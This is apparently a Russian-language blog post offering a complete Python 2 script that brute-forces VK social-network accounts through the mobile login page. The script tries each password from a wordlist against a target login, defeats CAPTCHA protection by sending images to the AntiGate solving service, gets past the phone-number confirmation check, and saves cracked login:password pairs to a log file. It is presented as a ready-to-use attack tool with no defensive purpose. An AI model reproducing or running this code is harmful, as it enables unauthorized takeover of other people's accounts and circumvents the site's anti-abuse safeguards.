Скрипт для простого перебора вк через мобильную версию

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#! coding: utf8
import grab,re,urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
import sys,os

cap_key = '' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print "Завершение"
    except:
        anti(key,file)
def save(url, file): #Скачивание файла по урл
    f = urllib2.urlopen(url)
    f2 = open(file, 'wb')
    f2.write(f.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login,passwords,save):
    o = open(save,'a')
    o2 = open(passwords,'r')

    try:
        int(login)
        prefix = True
    except:
        prefix = False
    g = grab.Grab()
    g.go('http://m.vk.com')

    for i in o2:

        i2 = i.rstrip('\r\n')
        g.doc.set_input('email',login)
        g.doc.set_input('pass',i2)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            c2 = 'http://m.vk.com' + c1
            key = cap_solve(c2)
            g.doc.set_input('email',login)
            g.doc.set_input('pass',i2)
            g.doc.set_input('captcha_key',str(key))
            g.doc.submit()
            print "cap"

        if 'Подтвердить' in g.response.body:
            if prefix:
                prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
                prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)
                pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                pre2 = re.findall('[0-9]{1,}', prefix2)[0]

                login = login.replace(pre1,'')
                login = login.replace(pre2,'')

                g.set_input('code', login)
                g.submit()
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
            else:
                o.write(login + ':' + i2 + '\n')
        else:
            if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
                print login + ':' + i2 + '--fail'
            else:
                print login + ':' + i2 + '--success'
                o.write(login + ':' + i2 + '\n')
    o.close()
    o2.close()

def main():
    try:
        argv1 = sys.argv[1]
        argv2 = sys.argv[2]
        brute(argv1,argv2,"log.txt")
    except IndexError:
        print "Неправильные параметры"

    except IOError:
        print "Нет такого файла"


if __name__ == "__main__":
    main()

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *